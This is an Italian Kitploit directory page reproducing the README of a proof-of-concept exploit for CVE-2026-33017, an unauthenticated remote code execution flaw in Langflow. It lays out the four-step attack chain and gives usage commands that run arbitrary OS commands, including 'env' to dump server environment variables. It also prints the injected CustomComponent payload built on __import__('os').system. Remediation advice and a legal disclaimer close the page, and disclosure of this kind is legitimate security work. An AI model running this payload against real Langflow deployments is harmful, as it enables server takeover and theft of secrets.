Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33017-langflow-rce — Proof-of-concept per CVE-2026-33017, che dimostra l'esecuzione di codice in remoto non autenticata in versioni vulnerabili di Langflow tramite l'iniezione malevola di codice CustomComponent. | Kitploit
Strumenti/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Proof-of-concept per CVE-2026-33017, che dimostra l'esecuzione di codice in remoto non autenticata in versioni vulnerabili di Langflow tramite l'iniezione malevola di codice CustomComponent.

Vedi Repository
14h 34m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33017 — Esecuzione Remota di Codice (RCE) Non Autenticata in Langflow

Panoramica

CVE ID: CVE-2026-33017
Software Affetto: Langflow Versioni Vulnerabili: <= 1.8.2 Versione Corretta: >= 1.9.0 Gravità: Critica
Autore: arensballiu
Data: 2026

Descrizione

Langflow espone un endpoint pubblico per la compilazione di flow (/api/v1/build_public_tmp/{flowID}/flow) che accetta blocchi di codice CustomComponent arbitrari e li esegue lato server senza autenticazione. Iniettando un payload Python malevolo nel campo code di un nodo CustomComponent, un attaccante non autenticato può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Langflow.

La catena di attacco sfrutta innanzitutto l'endpoint /api/v1/auto_login, che rilascia un bearer token senza richiedere credenziali quando Langflow è in esecuzione nella sua configurazione predefinita di auto-login. Poi utilizza tale token per creare un flow pubblico temporaneo e attivare l'esecuzione di codice lato server attraverso l'endpoint di compilazione.

È incluso un file docker che crea un'istanza docker con langflow installato e in esecuzione.

Endpoint Affetti

EndpointMetodoAutenticazione RichiestaScopo
/api/v1/auto_loginGETNoOttenere il bearer token (auto-login deve essere abilitato)
/api/v1/flows/POSTSì (Bearer)Creare un nuovo flow
/api/v1/build_public_tmp/{flowID}/flowPOSTNo (pubblico)Attivare la compilazione — punto di esecuzione vulnerabile
/api/v1/flows/{flowID}DELETESì (Bearer)Eliminare il flow creato

Proof of Concept

File: CVE-2026-33017_POC.py

Requisiti

  • Python 3.x
  • Libreria requests
  • Accesso di rete a un'istanza Langflow in esecuzione con auto-login abilitato
root@kitploit:~
pip install requests

Utilizzo

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Argomenti

FlagForma EstesaRichiestoDescrizione
-u--urlSìURL di base dell'istanza Langflow
-c--commandSìComando del sistema operativo da eseguire sul server
-d--deleteNoElimina il flow creato dopo lo sfruttamento

Esempi

Verificare l'esecuzione di codice:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Recuperare le variabili d'ambiente del server:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Mantenere il flow attivo dopo lo sfruttamento (saltare la pulizia):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Output Atteso

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Analisi del Payload

L'exploit inietta il seguente frammento Python nel campo code di un nodo CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - importa dinamicamente il modulo os ed esegue il comando shell fornito dall'attaccante sul server.
  • Il resto della definizione della classe è un CustomComponent valido necessario per soddisfare il loader dei componenti di Langflow senza generare un errore di parsing.
  • Il flow viene creato come PUBLIC e l'endpoint di compilazione viene invocato sul suo endpoint pubblico, il che significa che non è richiesto alcun cookie di sessione o token di autenticazione per attivare l'esecuzione.

Causa Principale

Il sistema CustomComponent di Langflow consente di inviare codice Python arbitrario come parte di una definizione di flow. L'endpoint /api/v1/build_public_tmp/{flowID}/flow compila e valuta parzialmente questo codice lato server, incluse le istruzioni a livello di modulo, senza sandboxing o restrizioni all'accesso ai built-in di Python come __import__.

Riepilogo della Catena di Attacco

root@kitploit:~
1. GET /api/v1/auto_login          →  Ottenere il Bearer token (nessuna credenziale necessaria)
2. POST /api/v1/flows/             →  Creare un flow PUBLIC (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Iniettare ed eseguire CustomComponent malevolo (nessuna auth)
4. DELETE /api/v1/flows/{id}       →  Pulizia (opzionale)

Tutti e quattro i passaggi possono essere eseguiti da un attaccante anonimo contro un deployment Langflow predefinito.

Remediation

  • Aggiornare Langflow alla versione 1.9.0 o superiore.
  • Disabilitare l'auto-login (LANGFLOW_AUTO_LOGIN=false) in qualsiasi deployment esposto a Internet.

Disclaimer

Questo proof of concept è fornito esclusivamente a scopo didattico e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.

Scarica lo strumento